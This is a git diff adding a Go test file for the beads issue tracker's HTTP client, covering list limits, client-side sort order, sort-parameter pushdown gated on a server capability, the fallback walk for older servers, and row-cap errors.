a/internal/httpclient/served_list_test.go b/internal/httpclient/served_list_test.go new file mode 100644 index 000000000..8cab1f837 --- /dev/null +++ b/internal/httpclient/served_list_test.go @@ -0,0 +1,1774 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_list_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "fmt" + "net/url" + "reflect" + "slices" + "strconv" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The List behaviors the shared Reader contract cannot reach over this wire, +// asserted through the same composition. +// +// Almost every List case in reader_contract.go scopes itself with IDFilter, and +// listIssues publishes no id parameter, so those cases are parked next door and +// their behaviors are pinned HERE instead — same assertions, scoped by a label, +// which the wire does carry. What is not restated here is anything the contract +// case actually runs: this file exists to close the gap the parking opened, not +// to grow a second contract. + +// listScope mints a label nothing else in the package uses. +func listScope(name string) string { return servedIssuePrefix + "-ls-" + name } + +func listID(name, tag string) string { return fmt.Sprintf("%s-ls%s-%s", servedIssuePrefix, name, tag) } + +func seedListIssue(t *testing.T, ctx context.Context, c *servedComposition, id, scope string, at time.Time, priority int) { + t.Helper() + issue := &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: priority, + IssueType: types.TypeTask, Labels: []string{scope}, + } + if !at.IsZero() { + issue.CreatedAt = at + issue.UpdatedAt = at + } + if err := c.seedIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } +} + +func servedReader(t *testing.T) (*servedComposition, issueops.Reader) { + t.Helper() + c := composition(t) + reader := bindRole(t, c.fixture(t), func(s *Store) (issueops.Reader, error) { return s.IssueReader() }) + return c, reader +} + +func pageIDs(page issueops.IssuePage) []string { + ids := make([]string, 0, len(page.Items)) + for _, item := range page.Items { + if item != nil && item.Issue != nil { + ids = append(ids, item.ID) + } + } + return ids +} + +// listSpy is a client onto the composition that records every listIssues +// request the pager sends, against a handshake the TEST chose. +// +// It answers the two questions the sort pushdown makes checkable and that no +// assertion about the returned page can reach: HOW MANY round trips a request +// cost, and WHICH keys each one carried. Both are the point of the leg — the +// answer is supposed to be identical either way — so a case that only compared +// answers would pass against a client that had never gained the leg at all. +// +// The handshake is supplied rather than fetched because that is how a +// down-level server is modelled without a second binary: New's third parameter +// pre-seeds the snapshot cache, so the capability probe reads it and never +// dials. That has a second effect this file relies on — the recorded requests +// are listIssues and nothing else, so a dial count is a page count. +type listSpy struct { + store *Store + sent []url.Values +} + +func (c *servedComposition) listSpy(t *testing.T, snapshot *apigen.ContextResponse) *listSpy { + t.Helper() + base, err := url.Parse(c.baseURL) + if err != nil { + t.Fatalf("parse the composition base URL: %v", err) + } + transport, err := wire.New(base, nil, wire.Options{}) + if err != nil { + t.Fatalf("build a spying wire client: %v", err) + } + spy := &listSpy{} + spy.store = New(Target{BaseURL: base}, tamperedWire{ + WireClient: servedWire{transport}, + tamper: func(req *wire.Request) { + if req.Op != wire.OpListIssues { + return + } + // Copied, because the pager reuses ONE url.Values across the pages + // of a walk: recording the map itself would record the last page's + // query as many times as there were pages. + query := url.Values{} + for key, values := range req.Query { + query[key] = append([]string(nil), values...) + } + spy.sent = append(spy.sent, query) + }, + }, snapshot) + return spy +} + +func (s *listSpy) reader(t *testing.T) issueops.Reader { + t.Helper() + reader, err := s.store.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + return reader +} + +func (s *listSpy) dials() int { return len(s.sent) } + +// sortKeys is the `sort` each recorded request named, "" for one that named +// none. It exists so a failure prints what the client actually sent. +func (s *listSpy) sortKeys() []string { + keys := make([]string, 0, len(s.sent)) + for _, query := range s.sent { + keys = append(keys, query.Get("sort")) + } + return keys +} + +// listSortHandshakes returns the server's OWN handshake and a copy of it with +// the pushdown capability struck out — the two arms the cases below run. +// +// The advertised half is CHECKED rather than assumed. If the served build +// stopped advertising the token, both arms would be the down-level one, every +// answer comparison would still pass, and the pushdown would be silently +// untested; that is what this Fatalf exists to make loud. +func listSortHandshakes(ctx context.Context, t *testing.T, c *servedComposition) (advertised, downLevel *apigen.ContextResponse) { + t.Helper() + snapshot, err := c.client.snapshot(ctx) + if err != nil { + t.Fatalf("handshake the served composition: %v", err) + } + if !slices.Contains(snapshot.Capabilities, wire.CapListSort) { + t.Fatalf("the served bd serve advertises %v, which does not include %q; every arm below would be the "+ + "down-level one and the comparison would prove nothing", snapshot.Capabilities, wire.CapListSort) + } + up, down := *snapshot, *snapshot + up.Capabilities = slices.Clone(snapshot.Capabilities) + down.Capabilities = slices.DeleteFunc(slices.Clone(snapshot.Capabilities), + func(token string) bool { return token == wire.CapListSort }) + if len(down.Capabilities) != len(up.Capabilities)-1 { + t.Fatalf("striking %q left %d capabilities of %d", wire.CapListSort, len(down.Capabilities), len(up.Capabilities)) + } + return &up, &down +} + +// TestServedReaderListLimitBoundaryUnderALabelScope is +// RunReaderListLimitBoundaryUnderASortTheDatabaseCanExpress with the id scope +// swapped for a label one. Under created order the walk stops early and the +// verdict comes from the over-fetched row, which is the arm an off-by-one lives +// in. +func TestServedReaderListLimitBoundaryUnderALabelScope(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("limit") + + base := time.Now().UTC().Truncate(time.Second).Add(-5 * time.Hour) + var ids []string + for i, tag := range []string{"a", "b", "c"} { + id := listID("limit", tag) + ids = append(ids, id) + seedListIssue(t, ctx, c, id, scope, base.Add(time.Duration(i)*time.Minute), 2) + } + + full, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "created", Limit: ptrTo(0)}) + if err != nil { + t.Fatalf("List --limit 0: %v", err) + } + if len(full.Items) != len(ids) { + t.Fatalf("List --limit 0 returned %v, want the three seeded rows", pageIDs(full)) + } + if full.HasMore { + t.Error("an unlimited list can hide nothing but reported HasMore") + } + order := pageIDs(full) + + for _, test := range []struct { + name string + limit *int + wantN int + hasMore bool + }{ + {"unset takes the shared default, which does not truncate three rows", nil, 3, false}, + {"a limit under the result count truncates and says so", ptrTo(2), 2, true}, + {"a limit exactly at the result count hides nothing", ptrTo(3), 3, false}, + {"a limit of one is the tightest page the over-fetch has to get right", ptrTo(1), 1, true}, + } { + page, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "created", Limit: test.limit}) + if err != nil { + t.Fatalf("List (%s): %v", test.name, err) + } + if page.Items == nil { + t.Errorf("List (%s) returned a nil Items", test.name) + } + if len(page.Items) != test.wantN { + t.Errorf("List (%s) returned %v, want %d rows", test.name, pageIDs(page), test.wantN) + } + if page.HasMore != test.hasMore { + t.Errorf("List (%s) HasMore = %v, want %v", test.name, page.HasMore, test.hasMore) + } + if got := pageIDs(page); !slices.Equal(got, order[:min(len(got), len(order))]) { + t.Errorf("List (%s) returned %v, want a prefix of %v", test.name, got, order) + } + } +} + +// TestServedReaderListAppliesTheClientSideDisplayOrder is ledger row L2 in one +// case: the wire is welded to created order, so `--sort id` — natural-numeric, +// which no lexical ORDER BY produces — can only be produced client-side, and the +// TRIM has to run after it or the page keeps the wrong rows. +func TestServedReaderListAppliesTheClientSideDisplayOrder(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("order") + + one, two, ten := listID("order", "1"), listID("order", "2"), listID("order", "10") + // Seeded in an order that is neither the natural one nor the lexical one, so + // a client that returned the wire's own order fails visibly. + for _, id := range []string{ten, one, two} { + seedListIssue(t, ctx, c, id, scope, time.Time{}, 2) + } + + page, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "id"}) + if err != nil { + t.Fatalf("List --sort id: %v", err) + } + if want := []string{one, two, ten}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List --sort id = %v, want %v", pageIDs(page), want) + } + if page.HasMore { + t.Error("List --sort id reported HasMore on an untruncated page") + } + + page, err = reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "id", Limit: ptrTo(2)}) + if err != nil { + t.Fatalf("List --sort id --limit 2: %v", err) + } + if want := []string{one, two}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List --sort id --limit 2 = %v, want %v: the trim runs after the sort", pageIDs(page), want) + } + if !page.HasMore { + t.Error("List --sort id --limit 2 hid a row without reporting HasMore") + } + + page, err = reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "id", Reverse: true, Limit: ptrTo(2)}) + if err != nil { + t.Fatalf("List --sort id --reverse --limit 2: %v", err) + } + if want := []string{ten, two}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List --sort id --reverse --limit 2 = %v, want %v", pageIDs(page), want) + } +} + +// TestServedReaderListSortPushdownIsOneDial is what the pushdown BUYS, stated +// as the only thing that distinguishes it: a bounded request in an order the +// caller named costs one round trip instead of a walk to exhaustion. +// +// The request is the FLAGLESS one on purpose. It is the order `bd list` shows +// when nobody names a sort, so it is the order almost every real invocation is +// in, and it is the one the walk could never stop early on — before S2 it read +// every matching row to return five. +// +// GOES RED when the pushdown leg is removed from walkIssues: the first arm +// takes four requests instead of one. The control arm is what tells that apart +// from a spy that has stopped counting — it asserts the walk's exact page +// arithmetic, so a broken counter fails there and a working pushdown does not. +func TestServedReaderListSortPushdownIsOneDial(t *testing.T) { + ctx := t.Context() + c := composition(t) + scope := listScope("pushdown") + + restore := walkPageSize + walkPageSize = 3 + t.Cleanup(func() { walkPageSize = restore }) + + base := time.Now().UTC().Truncate(time.Second).Add(-9 * time.Hour) + const seeded = 10 + for i := range seeded { + // Priorities cycle against a monotone creation order, so the flagless + // order (priority ASC, created DESC, id ASC) picks a different five + // rows than a created-order prefix would — which is what makes the + // answer comparison below evidence about the ORDER rather than a + // coincidence of the fixture. + seedListIssue(t, ctx, c, listID("pushdown", fmt.Sprintf("%02d", i)), scope, + base.Add(time.Duration(i)*time.Minute), i%4) + } + + advertised, downLevel := listSortHandshakes(ctx, t, c) + req := issueops.ListRequest{Labels: []string{scope}, Limit: ptrTo(5)} + + push := c.listSpy(t, advertised) + got, err := push.reader(t).List(ctx, req) + if err != nil { + t.Fatalf("List under the pushdown: %v", err) + } + if push.dials() != 1 { + t.Errorf("the pushdown took %d requests (sorts %v), want exactly one", push.dials(), push.sortKeys()) + } + + walk := c.listSpy(t, downLevel) + want, err := walk.reader(t).List(ctx, req) + if err != nil { + t.Fatalf("List under the down-level walk: %v", err) + } + if walk.dials() != 4 { + t.Fatalf("the down-level walk took %d requests, want the four that %d rows at %d per page cost; "+ + "if this says one, the spy has stopped counting rather than the pushdown having fired", + walk.dials(), seeded, walkPageSize) + } + + if !slices.Equal(pageIDs(got), pageIDs(want)) { + t.Errorf("the pushdown answered %v and the walk answered %v; the fast leg must not change the answer", + pageIDs(got), pageIDs(want)) + } + if got.HasMore != want.HasMore { + t.Errorf("the pushdown reported HasMore = %v and the walk %v", got.HasMore, want.HasMore) + } + // THE PREMISE, so neither comparison above can be satisfied vacuously: the + // page has to truncate, and it has to truncate to rows a created-order + // prefix would not have chosen. + if !got.HasMore { + t.Fatalf("a limit of 5 over %d rows reported no more; this case never exercised a truncating page", seeded) + } + welded := c.listSpy(t, downLevel) + created, err := welded.reader(t).List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "created", Limit: ptrTo(5), + }) + if err != nil { + t.Fatalf("List in the welded order: %v", err) + } + if slices.Equal(pageIDs(got), pageIDs(created)) { + t.Fatalf("the flagless page and the created-order page are both %v; the fixture no longer "+ + "distinguishes the pushdown's order from the wire's own, so the assertions above prove nothing", + pageIDs(got)) + } +} + +// TestServedReaderListFallsBackToTheWalkWithoutTheCapability is the other half +// of the preflight: a server that does not advertise the token is sent no +// `sort` and no `reverse` AT ALL, on any page, and still gets the right answer. +// +// The two arms assert different things and both are load-bearing. The +// advertised arm pins the request the pushdown utters, key by key, because that +// request is the whole contract with the server. The down-level arm pins its +// ABSENCE, because a client that emitted `sort` unconditionally would work +// perfectly against this composition's server and 400 against every older one. +// +// GOES RED when the servesListSort conjunct is dropped from the gate: the +// down-level arm sends one request carrying sort=priority. +func TestServedReaderListFallsBackToTheWalkWithoutTheCapability(t *testing.T) { + ctx := t.Context() + c := composition(t) + scope := listScope("downlevel") + + restore := walkPageSize + walkPageSize = 1 + t.Cleanup(func() { walkPageSize = restore }) + + base := time.Now().UTC().Truncate(time.Second).Add(-11 * time.Hour) + ids := map[string]string{} + for i, seed := range []struct { + tag string + priority int + }{{"a", 3}, {"b", 1}, {"c", 2}, {"d", 0}} { + ids[seed.tag] = listID("downlevel", seed.tag) + seedListIssue(t, ctx, c, ids[seed.tag], scope, base.Add(time.Duration(i)*time.Minute), seed.priority) + } + // Priority ASC takes d then b; the welded created-DESC order takes d then + // c. The two pages differ in their SECOND row, so an answer of [d b] is + // only reachable by honoring the sort. + wantPage := []string{ids["d"], ids["b"]} + + advertised, downLevel := listSortHandshakes(ctx, t, c) + req := issueops.ListRequest{Labels: []string{scope}, SortBy: "priority", Limit: ptrTo(2)} + + push := c.listSpy(t, advertised) + got, err := push.reader(t).List(ctx, req) + if err != nil { + t.Fatalf("List under the pushdown: %v", err) + } + if push.dials() != 1 { + t.Fatalf("the pushdown took %d requests (sorts %v), want one; the per-page size is not its bound, "+ + "the caller's limit is", push.dials(), push.sortKeys()) + } + sent := push.sent[0] + for _, want := range []struct{ key, value string }{ + {"sort", "priority"}, + {"limit", "2"}, + } { + if got := sent.Get(want.key); got != want.value { + t.Errorf("the pushdown sent %s=%q, want %q (whole query %v)", want.key, got, want.value, sent) + } + } + // No `reverse` ever, pushdown or not: listIssues publishes no such + // parameter at all (S3 reconciliation, 2026-10) — it + // belongs only to GET /v0/beads/issues:query's nine-order vocabulary — + // so a client that sent one, even spelled false, would meet this + // operation's unknown-parameter refusal rather than a direction. + if sent.Has("reverse") { + t.Errorf("the pushdown sent reverse=%q; listIssues publishes no `reverse` parameter", sent.Get("reverse")) + } + + down := c.listSpy(t, downLevel) + fallback, err := down.reader(t).List(ctx, req) + if err != nil { + t.Fatalf("List against a server without the capability: %v", err) + } + for i, query := range down.sent { + if query.Has("sort") || query.Has("reverse") { + t.Errorf("down-level request %d of %d carried sort=%q reverse=%q; a server that does not advertise "+ + "%q must be sent neither", i, down.dials(), query.Get("sort"), query.Get("reverse"), wire.CapListSort) + } + } + // Checked AFTER the absence, not before it, so that a client which had + // stopped consulting the capability at all reports the key it wrongly sent + // rather than only the round trip it wrongly saved. + if down.dials() < 2 { + t.Errorf("the down-level arm took %d requests over %d rows at %d per page; it did not walk, so the "+ + "absence checked above is the absence of a single request rather than of a walk", + down.dials(), len(ids), walkPageSize) + } + + for name, page := range map[string]issueops.IssuePage{"the pushdown": got, "the fallback walk": fallback} { + if !slices.Equal(pageIDs(page), wantPage) { + t.Errorf("%s answered %v, want %v", name, pageIDs(page), wantPage) + } + if !page.HasMore { + t.Errorf("%s hid two rows without reporting HasMore", name) + } + } +} + +// TestServedReaderListWeldedOrderKeepsSendingNoSortParameter is the `want == 0` +// conjunct, which is the only one of the four that is not about correctness. +// +// The server would accept `sort=created` and answer identically — it is the +// order it serves anyway — so nothing here would be WRONG. What the conjunct +// buys is that the request family which predates the parameter keeps sending no +// parameter: an un-reversed created-order page is already one round trip +// (the walk stops on the over-fetched row), so naming the order would buy no +// request and would newly make every such `bd list` depend on a server-side +// code path that did not exist a release ago. That is a compatibility surface +// taken on for nothing, and this case is what keeps it from being taken on by +// accident. +// +// The reversed arm is here to keep the conjunct NARROW rather than merely +// present: created-DESCENDING is not the order the wire serves and the walk +// cannot stop early on it — but it does not push down either (S3 +// reconciliation, 2026-10). listIssues publishes no +// `reverse` parameter at all, so there is no wire shape for "the other +// direction of an order this operation does serve"; listSortPushdownEligible +// refuses every reversed request regardless of SortBy, and this arm walks to +// exhaustion and re-sorts client-side exactly as an unpublished SortBy would. +// +// GOES RED when `want == 0` is dropped from the gate: the first arm sends +// sort=created and asks for the caller's two rows rather than the walk's three. +// It also goes red if listSortPushdownEligible ever stopped refusing a +// reversed request: the second arm's dial count would drop as the walk gave +// way to a single pushdown request, and the key-by-key absence check below +// would catch the `reverse` key that request sent. +func TestServedReaderListWeldedOrderKeepsSendingNoSortParameter(t *testing.T) { + ctx := t.Context() + c := composition(t) + scope := listScope("welded") + + base := time.Now().UTC().Truncate(time.Second).Add(-17 * time.Hour) + ids := map[string]string{} + for i, tag := range []string{"a", "b", "c", "d"} { + ids[tag] = listID("welded", tag) + seedListIssue(t, ctx, c, ids[tag], scope, base.Add(time.Duration(i)*time.Minute), 2) + } + advertised, _ := listSortHandshakes(ctx, t, c) + + forward := c.listSpy(t, advertised) + page, err := forward.reader(t).List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: wireListSort, Limit: ptrTo(2), + }) + if err != nil { + t.Fatalf("List --sort created --limit 2: %v", err) + } + if want := []string{ids["d"], ids["c"]}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List --sort created --limit 2 = %v, want %v", pageIDs(page), want) + } + if !page.HasMore { + t.Error("List --sort created --limit 2 hid two rows without reporting HasMore") + } + if forward.dials() != 1 { + t.Fatalf("the welded order took %d requests; the walk already stops on the over-fetched row, so this "+ + "case's premise — that the pushdown would save nothing here — is what changed", forward.dials()) + } + sent := forward.sent[0] + if sent.Has("sort") || sent.Has("reverse") { + t.Errorf("the welded order sent sort=%q reverse=%q; the request family that predates the parameter "+ + "must keep sending neither", sent.Get("sort"), sent.Get("reverse")) + } + if got := sent.Get("limit"); got != "3" { + t.Errorf("the welded order asked for limit=%q, want the walk's own over-fetch of 3 (the caller's two "+ + "rows plus the row that decides HasMore)", got) + } + + // The same key REVERSED is a different order from the one the wire serves, + // and listIssues has no parameter that names the reversed direction of + // anything — so this walks to exhaustion (one request: four seeded rows + // is well under the walk's own page size) and gets re-sorted client-side, + // the same leg an unpublished SortBy takes. + backward := c.listSpy(t, advertised) + page, err = backward.reader(t).List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: wireListSort, Reverse: true, Limit: ptrTo(2), + }) + if err != nil { + t.Fatalf("List --sort created --reverse --limit 2: %v", err) + } + if want := []string{ids["a"], ids["b"]}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List --sort created --reverse --limit 2 = %v, want %v", pageIDs(page), want) + } + if backward.dials() != 1 { + t.Fatalf("the reversed welded order took %d requests, want the one the walk needs to see all four "+ + "seeded rows", backward.dials()) + } + sent = backward.sent[0] + if sent.Has("sort") || sent.Has("reverse") { + t.Errorf("the reversed welded order sent sort=%q reverse=%q; listIssues publishes no `reverse` "+ + "parameter, so a reversed request must walk and sort client-side like any other order this "+ + "operation cannot push down", sent.Get("sort"), sent.Get("reverse")) + } + if got := sent.Get("limit"); got != strconv.Itoa(walkPageSize) { + t.Errorf("the reversed welded order asked for limit=%q, want the walk's own page size %d", got, walkPageSize) + } +} + +// TestServedReaderListUnlimitedStaysAWalk is the `limit > 0` conjunct: an +// unlimited read has to cross every matching row whoever orders them, so it +// keeps the fixed-size walk and never names an order on the wire. +// +// GOES RED — and this is worth being exact about, because the obvious red is +// not the one that fires — when `limit > 0` is dropped from the gate. The +// ANSWER stays correct: the leg would send `limit=0`, and this composition +// binds loopback, where the server permits an unlimited read, so it would come +// back whole and in the right order. What changes is the two things asserted +// below and nothing else: the request count collapses to one, and the requests +// start carrying `sort`. Against a NON-loopback server the same mutation is an +// outright 400, which is the cost this conjunct is really avoiding. +func TestServedReaderListUnlimitedStaysAWalk(t *testing.T) { + ctx := t.Context() + c := composition(t) + scope := listScope("unlimited") + + restore := walkPageSize + walkPageSize = 3 + t.Cleanup(func() { walkPageSize = restore }) + + base := time.Now().UTC().Truncate(time.Second).Add(-13 * time.Hour) + const seeded = 7 + for i := range seeded { + seedListIssue(t, ctx, c, listID("unlimited", fmt.Sprintf("%02d", i)), scope, + base.Add(time.Duration(i)*time.Minute), i%3) + } + + advertised, _ := listSortHandshakes(ctx, t, c) + spy := c.listSpy(t, advertised) + page, err := spy.reader(t).List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "priority", Limit: ptrTo(0), + }) + if err != nil { + t.Fatalf("List --limit 0 --sort priority: %v", err) + } + if len(page.Items) != seeded { + t.Errorf("an unlimited list returned %d rows, want the %d seeded ones: %v", len(page.Items), seeded, pageIDs(page)) + } + if page.HasMore { + t.Error("an exhausted unlimited read reported HasMore") + } + if spy.dials() != 3 { + t.Errorf("the unlimited read took %d requests, want the three that %d rows at %d per page cost; "+ + "one means the pushdown claimed a leg that is not bounded", spy.dials(), seeded, walkPageSize) + } + for i, query := range spy.sent { + if query.Has("sort") { + t.Errorf("unlimited request %d carried sort=%q; an unbounded read names no order on the wire", + i, query.Get("sort")) + } + } +} + +// TestServedReaderListMaxRowsUnderPushdown is ledger row L15's owning proof, +// and it pins a CONVERGENCE the pushdown produced rather than a divergence. +// +// L15 says the http client's MaxRows cap counts WIRE ROWS FETCHED while local +// mode's counts the window the query opened, so a cap roomier than the caller's +// limit could fire here and never fire locally. On the pushdown leg that gap is +// gone: the leg asks for min(limit, MaxRows+1), which is the local expression, +// so a cap at or above the limit cannot fire. The first half asserts that +// against the reference store, and the down-level arm is the CONTROL that keeps +// the row honest — it shows the divergence is still there on the walk leg L15 +// now names, so a green here is a statement about which leg ran and not about +// whether the cap works at all. +// +// The second half is the case the pushdown must NOT change: a cap tighter than +// the limit still refuses, with the same Found/Cap/Source triple `bd list` +// classifies into exit 2. +// +// The third half is the BOUNDARY the first two straddle without touching: a +// result set exactly EQUAL to the cap. Both arms above have matches either +// above the cap or below it, so `>` and `>=` in the overage check answer them +// identically, and the defect `>=` would ship is user-visible. +// +// The fourth is the matrix over the PUBLISHED SORT VOCABULARY, which is what +// keeps the convergence claim from being a claim about `priority` alone. The +// claim rests on min(limit, MaxRows+1) being the local expression, and that is +// false for a Go-side sort, where workapi.SQLLimit pushes 0 down instead of the +// limit. Ranging over the enum rather than naming `id` is deliberate: a second +// Go-side key added to sqlbuild.IsGoSideSort tomorrow must not reopen the hole +// silently. +// +// GOES RED when sortedPage sizes its request from the limit alone (dropping the +// MaxRows term): the tight-cap arm fetches five rows under a cap of two and +// reports Found = 5 instead of the single overage row. GOES RED when the +// overage check reads `>=`: the at-cap arm refuses a page it should serve. GOES +// RED when walkIssues' gate stops excluding a capped Go-side sort: the matrix +// arm answers where the reference store refuses. +func TestServedReaderListMaxRowsUnderPushdown(t *testing.T) { + ctx := t.Context() + c := composition(t) + scope := listScope("maxrows-pushdown") + + local, err := c.reference.IssueReader() + if err != nil { + t.Fatalf("reference IssueReader(): %v", err) + } + + base := time.Now().UTC().Truncate(time.Second).Add(-15 * time.Hour) + const seeded = 6 + for i := range seeded { + seedListIssue(t, ctx, c, listID("maxrows-pushdown", fmt.Sprintf("%02d", i)), scope, + base.Add(time.Duration(i)*time.Minute), i%3) + } + advertised, downLevel := listSortHandshakes(ctx, t, c) + + // A cap ROOMIER than the limit. Local mode never opens a window wider than + // the limit, so it cannot exceed a cap above it. + roomy := issueops.ListRequest{ + Labels: []string{scope}, SortBy: "priority", Limit: ptrTo(3), + MaxRows: 4, MaxRowsSource: "--max-rows", + } + want, err := local.List(ctx, roomy) + if err != nil { + t.Fatalf("the reference store refused a cap above the limit (%v); L15's convergence claim rests on it "+ + "not doing that, so this row's premise is wrong rather than the client", err) + } + push := c.listSpy(t, advertised) + got, err := push.reader(t).List(ctx, roomy) + if err != nil { + t.Fatalf("List under a cap above the limit: %v, want the reference store's answer", err) + } + if !slices.Equal(pageIDs(got), pageIDs(want)) { + t.Errorf("under a roomy cap the pushdown answered %v and the reference %v", pageIDs(got), pageIDs(want)) + } + if got.HasMore != want.HasMore { + t.Errorf("under a roomy cap the pushdown reported HasMore = %v and the reference %v", got.HasMore, want.HasMore) + } + + // THE CONTROL. Same request, same cap, the leg L15 still describes: the + // walk has to see every row before it can order them, so it fetches past a + // cap the local window never reaches and refuses. + down := c.listSpy(t, downLevel) + if _, err := down.reader(t).List(ctx, roomy); err == nil { + t.Error("the down-level walk accepted a cap above the limit; if the walk leg no longer diverges from " + + "local mode here, ledger row L15 is retired rather than narrowed and this control is the wrong shape") + } else { + var tooMany *storageops.ErrTooManyRows + if !errors.As(err, &tooMany) { + t.Errorf("the down-level walk failed with %v, want the *ErrTooManyRows L15 describes", err) + } + } + + // A cap TIGHTER than the limit still refuses, and the overage it reports is + // one row, because the request asked for exactly one past the cap. + _, err = push.reader(t).List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "priority", Limit: ptrTo(5), + MaxRows: 2, MaxRowsSource: "--max-rows", + }) + var tooMany *storageops.ErrTooManyRows + if !errors.As(err, &tooMany) { + t.Fatalf("List under a cap below the limit = %v, want *ErrTooManyRows", err) + } + if tooMany.Cap != 2 || tooMany.Found != 3 || tooMany.Source != "--max-rows" { + t.Errorf("the pushdown's cap error is {Found %d, Cap %d, Source %q}, want {3, 2, \"--max-rows\"}: "+ + "the cap plus the single overage row that proves it fired", tooMany.Found, tooMany.Cap, tooMany.Source) + } + // And the same request against the reference store, so "the client refuses" + // is checkably the same refusal local mode makes rather than a private one. + _, err = local.List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "priority", Limit: ptrTo(5), + MaxRows: 2, MaxRowsSource: "--max-rows", + }) + var localTooMany *storageops.ErrTooManyRows + if !errors.As(err, &localTooMany) { + t.Fatalf("the reference store answered a cap below the limit with %v, want *ErrTooManyRows", err) + } + if localTooMany.Found != tooMany.Found || localTooMany.Cap != tooMany.Cap { + t.Errorf("the pushdown reports {Found %d, Cap %d} and the reference {Found %d, Cap %d}", + tooMany.Found, tooMany.Cap, localTooMany.Found, localTooMany.Cap) + } + + // THE BOUNDARY: a result set exactly EQUAL to the cap has not exceeded it. + // It gets a scope of its own because it needs the match count to BE the + // cap, and the six rows above cannot supply that alongside a limit wider + // than the cap — which is the second half of the shape, since a page that + // the limit truncated would make the cap moot. + exact := listScope("maxrows-exact") + const atCapRows = 2 + for i := range atCapRows { + seedListIssue(t, ctx, c, listID("maxrows-exact", fmt.Sprintf("%02d", i)), exact, + base.Add(time.Duration(i)*time.Minute), i) + } + atCap := issueops.ListRequest{ + Labels: []string{exact}, SortBy: "priority", Limit: ptrTo(5), + MaxRows: atCapRows, MaxRowsSource: "--max-rows", + } + // THE PREMISE, checked out loud: the fixture has to put the match count + // exactly ON the cap and under the limit. If it drifted either way the + // assertion below would still pass against an overage check reading `>=`, + // which is the only defect this arm exists to catch. + wantAtCap, err := local.List(ctx, atCap) + if err != nil { + t.Fatalf("the reference store refused a result set exactly equal to the cap (%v); a cap is a bound the "+ + "result set may reach, so this arm's premise is wrong rather than the client", err) + } + if len(wantAtCap.Items) != atCapRows || wantAtCap.HasMore { + t.Fatalf("the reference answered the at-cap request with %d rows (HasMore %v), want exactly the %d seeded "+ + "ones: without matches == MaxRows < limit this arm cannot tell `>` from `>=`", + len(wantAtCap.Items), wantAtCap.HasMore, atCapRows) + } + gotAtCap, err := push.reader(t).List(ctx, atCap) + if err != nil { + t.Fatalf("List over exactly MaxRows matching rows under a wider limit = %v, want the %v the reference "+ + "answered with; a result set that REACHES the cap has not exceeded it, and refusing here turns "+ + "`bd list --limit 5 --max-rows 2` over two rows into exit 2", err, pageIDs(wantAtCap)) + } + if !slices.Equal(pageIDs(gotAtCap), pageIDs(wantAtCap)) { + t.Errorf("at the cap the pushdown answered %v and the reference %v", pageIDs(gotAtCap), pageIDs(wantAtCap)) + } + if gotAtCap.HasMore { + t.Error("a page holding every matching row reported HasMore") + } + + // THE MATRIX THIS RAN AGAINST bd-enterprise's listIssues IS NOT RUNNABLE + // HERE (S3 reconciliation, 2026-10): L15's Go-side half + // — "a capped Go-side sort has to stay a walk" — needs a published `sort` + // value sqlbuild.IsGoSideSort accepts (today, `id`), and + // GET /v0/beads/issues's own vocabulary is CLOSED to the two keyset orders + // this wire can page at all, `created` and `priority` (see the operation's + // `sort` parameter doc: "deliberately smaller than the nine values + // `bd list --sort` and GET /v0/beads/issues:query take" — every value this + // endpoint accepts is SQL-expressible by construction, so + // publishedParamEnum(wire.OpListIssues, "sort") can never contain a + // Go-side member for this matrix to range over). + // + // This does not leave L15's Go-side claim unpinned, and it does not weaken + // what the matrix proved for the wire bd-enterprise ran it against: it + // narrows the claim to a stronger, unconditional one for the OSS listIssues + // operation specifically. listSortPushdownEligible refuses pushdown for any + // SortBy outside {"", wireListSort, flaglessListSort} UNCONDITIONALLY — not + // only under a cap — so a Go-side order such as "id" never reaches + // sortedPage at all, capped or not. TestServedReaderListAppliesTheClientSide + // DisplayOrder already pins that walk-and-client-sort path end to end for + // SortBy "id", and TestServedReaderListFallsBackToTheWalkWithoutTheCapability + // pins the no-`sort`-on-the-wire half of it. What is left of this test is + // everything above: the roomy cap, the tight cap and the exact-cap boundary, + // all exercised over the one Go-side-free vocabulary this operation actually + // publishes. +} + +// TestServedReaderListOrderMatchesTheReferenceStore is the dual run that makes +// the client comparator checkable rather than plausible: the SAME ListRequest is +// answered by the reference store's own reader and by the client, and the two +// orders have to be identical for every sort the vocabulary publishes — +// INCLUDING the flagless default, which is the one nobody names and everybody +// sees (priority ASC, created DESC, id ASC). +// +// TWO OF THE ROWS ARE CLOSED, and that is what makes the `closed` sort key mean +// something. It is one of the two NULLABLE sort columns, and sqlbuild.Less +// carries a branch of its own for them — MySQL NULL-first semantics, so a NULL +// sorts first ascending and last descending — which a corpus of open rows can +// never reach, because every ClosedAt is nil and the comparator returns on the +// tie. With one closed row the branch is exercised against a real ORDER BY on +// the far side; with two it is exercised against another closed row as well. 